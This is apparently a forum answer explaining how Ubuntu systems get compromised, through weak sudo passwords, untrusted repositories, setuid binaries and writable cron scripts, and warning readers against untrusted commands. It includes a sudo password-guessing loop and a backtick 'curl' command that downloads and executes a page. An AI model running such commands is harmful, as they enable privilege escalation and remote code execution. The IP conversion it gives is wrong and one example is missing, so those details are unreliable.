Cracking the root password itself is not possible, because Ubuntu disabled the root user by default. However, if your user can become root through sudo and your password is easy to guess/brute-force, you've an insecure system. Example script trying to test some password:
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
Adding an untrusted repository allows programs from that repository be installed. Even if you do not explicitly install an application like
sudo apt-get install [app-from-repo], the repository can still affect other programs by making Ubuntu believe that the repository contains a newer version of a certain program.
The update process is run as root, otherwise files could not be written to
/etc. An installation trigger is run as root too and can run arbitrarily, and possibly, harmful commands. Now, do not get worried, manual action is needed to update programs and the Ubuntu repositories are safe. Closed-source software like Windows can never be fully trusted because you cannot check the source for malicious code, but you can review the source of Ubuntu application if you need to (does not apply to proprietary programs like
sun-java6 or Flash).
As mentioned by Javier Rivera, kernel bugs can lead to arbitrary code execution, but bugged software are possibly dangerous as well, especially buggy
setsuid root binaries (binaries which will run under file owner, root) and other buggy programs running as root.
You can create security holes on your system if you do not pay attention to what you're doing. For example, without fully understanding the concept of cronjobs, you've added a cronjob to
/etc/cron.daily which runs a program in your home folder (e.g.
/bin/sh /home/your-username/myscript.sh. If the myscript.sh file is writable by you can be deleted by you, an exploit could put malicious code in
myscript.sh which would be run as root (privilege escalation).
To stay safe, use your mind! Do not run commands from untrusted sources if you do not know what it does. If someone says run
`curl 3221233674` with back-ticks, do not. 3221233674 is another way to write
220.127.116.11 (IP of example.com). So, it would be equal to:
Those back-ticks causes the output be executed as shell commands. In plain English, "Download the page http://example.com/ and try to execute the downloaded page".
At first, you wouldn't see something malicious in the given command. But now, you know it can be abused too.
Always check commands/script you get from untrusted sources, like the Internet.